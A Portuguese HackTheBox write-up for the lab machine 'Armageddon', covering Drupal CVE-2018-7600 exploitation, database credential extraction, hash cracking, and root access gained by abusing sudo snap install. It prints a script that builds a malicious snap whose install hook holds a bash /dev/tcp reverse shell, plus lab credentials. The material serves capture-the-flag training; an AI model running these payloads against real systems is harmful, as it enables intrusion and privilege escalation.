5 minutos
HackTheBox - Armageddon
Neste ‘writeup’ veremos a resolução da máquina ‘Armageddon’ do HackTheBox.
Informações da Máquina
IP: 10.10.10.233
Sistema Operacional: Linux
Nível de dificuldade: Easy
Varredura e Enumeração
Port Scan
Iniciando um scan completo em todas as portas TCP abertas com nmap:
# Nmap 7.91 scan initiated Sat Jun 26 22:18:58 2021 as: nmap -v -sV -sC -p 22,80 -Pn -oN details.txt 10.10.10.233
Nmap scan report for 10.10.10.233
Host is up (0.37s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
| 256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_ 256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to Armageddon | Armageddon
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 26 22:19:25 2021 -- 1 IP address (1 host up) scanned in 27.48 seconds
Webserver
O host possui apenas duas portas abertas, a 22 e a 80. Acessando a porta 80 encontramos a seguinte página.
No robots.txt é possível visualizar diversas URLs liberadas e bloqueadas para indexação.
http://10.10.10.233/robots.txt
User-agent: *
Crawl-delay: 10
# CSS, JS, Images
Allow: /misc/*.css$
Allow: /misc/*.css?
Allow: /misc/*.js$
Allow: /misc/*.js?
Allow: /misc/*.gif
Allow: /misc/*.jpg
Allow: /misc/*.jpeg
Allow: /misc/*.png
Allow: /modules/*.css$
Allow: /modules/*.css?
Allow: /modules/*.js$
Allow: /modules/*.js?
Allow: /modules/*.gif
Allow: /modules/*.jpg
Allow: /modules/*.jpeg
Allow: /modules/*.png
Allow: /profiles/*.css$
Allow: /profiles/*.css?
Allow: /profiles/*.js$
Allow: /profiles/*.js?
Allow: /profiles/*.gif
Allow: /profiles/*.jpg
Allow: /profiles/*.jpeg
Allow: /profiles/*.png
Allow: /themes/*.css$
Allow: /themes/*.css?
Allow: /themes/*.js$
Allow: /themes/*.js?
Allow: /themes/*.gif
Allow: /themes/*.jpg
Allow: /themes/*.jpeg
Allow: /themes/*.png
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/
Com o objetivo de obter mais informações da página foi usado o ‘whatweb’ para visualizar mais detalhes.
$ whatweb http://10.10.10.233
A saída do comando revelou que o host está usando um CMS PHP chamado Drupal em sua versão 7.
http://10.10.10.233 [200 OK] Apache[2.4.6], Content-Language[en],
Country[RESERVED][ZZ], Drupal,
HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/5.4.16],
IP[10.10.10.233], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)],
PHP[5.4.16], PasswordField[pass], PoweredBy[Arnageddon],
Script[text/javascript], Title[Welcome to Armageddon | Armageddon],
UncommonHeaders[x-content-type-options,x-generator],
X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.4.16]
Vulnerabilidade
Com a versão do CMS foi feita a busca por vulnerabilidades e exploits.
O exploit encontrado é referente a CVE-2018-7600 e está disponível no github. O exploit permite a um atacante remoto executar arbitrariamente comandos no host (RCE - Remote Code Execution).
Exploração
Clonando o projeto para a máquina local.
$ git clone https://github.com/pimps/CVE-2018-7600.git
Executando o script em python para efetuar o RCE (Remote Code Execution).
Também existe um exploit no exploitdb que permite obter um ‘reverse shell’ através do metasploit.
Com o metasploit foi possível visualizar os arquivos de configuração da aplicação e obter as credenciais do banco Mysql. O caminho para o arquivo de configuração do Drupal pode ser obtido consultando a sua doc oficial.
/var/www/html/sites/default/cat settings.php
Credenciais do banco Mysql.
drupaluser:CQHEy@9M*m23gBVj
Conectando ao banco de dados com as credenciais se obtêm os usuários e senhas cadastrados.
$ mysql -u drupaluser -e 'use drupal;show tables;select name, pass from users;' -p
Identificando o tipo de ‘hash’ usada para cadastrar a senha no banco Mysql com o hashcat.
Efetuando a quebra de ‘hash’ com hashcat.
$ hashcat -m 7900 hash /usr/share/wordlists/rockyou.txt --force
A senha encontrada é “booboo”.
brucetherealadmin:booboo
Conectando via SSH com as credenciais válidas e obtendo a flag do user.
Obtendo a versão do sistema operacional.
Escalação de Privilégios
Um procedimento muito usual para escalar privilégios é verificar as permissões do usuário com o sudo. Ao rodar o ‘sudo -l’ é confirmado que o usuário possui privilégios de root com o ‘snap’. Pacotes snaps não necessitam ser instalados na máquina para serem executados.
(root) NOPASSWD: /usr/bin/snap install *
Verificando a versão do snap instalado no sistema.
No GTFOBins foi encontrada a forma de abusar do snap com o sudo.
Antes de gerar o pacote snap malicioso deve-se instalar o fpm na máquina local seguindo o seu manual.
$ sudo gem install --no-document fpm
$ sudo apt install squashfs-tools
Criando o script makesnap.sh para gerar o pacote snap. O script possui uma linha de código que é o comando de ‘reverse shell’.
#!/bin/bash
COMMAND="bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'"
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/bash\n%s;' "$COMMAND" > meta/hooks/install
chmod +x meta/hooks/install
fpm -n root -s dir -t snap -a all meta
Executando o script.
$ chmod +x makesnap.sh
$ ./makesnap.sh
O script vai gerar uma pasta no diretório /tmp. Este diretório deve ser compartilhado para poder subir o arquivo .snap ao host.
$ python3 -m http.server <port>
No host foi usado o wget para fazer a transferência do arquivo.
$ wget http://<ip>:<port>/xxxx_1.0_all.snap
Abrindo a porta local para receber o ‘reverse shell’.
$ rlwrap nc -lvnp <port>
Após abrir a porta local o passo seguinte é executar o comando de instalação do pacote malicioso com o sudo.
$ sudo snap install xxxx_1.0_all.snap --dangerous --devmode
Recebendo o ‘reverse shell’ com a shell do root.
Obtendo a ‘flag’ do usuário root.
Até a próxima!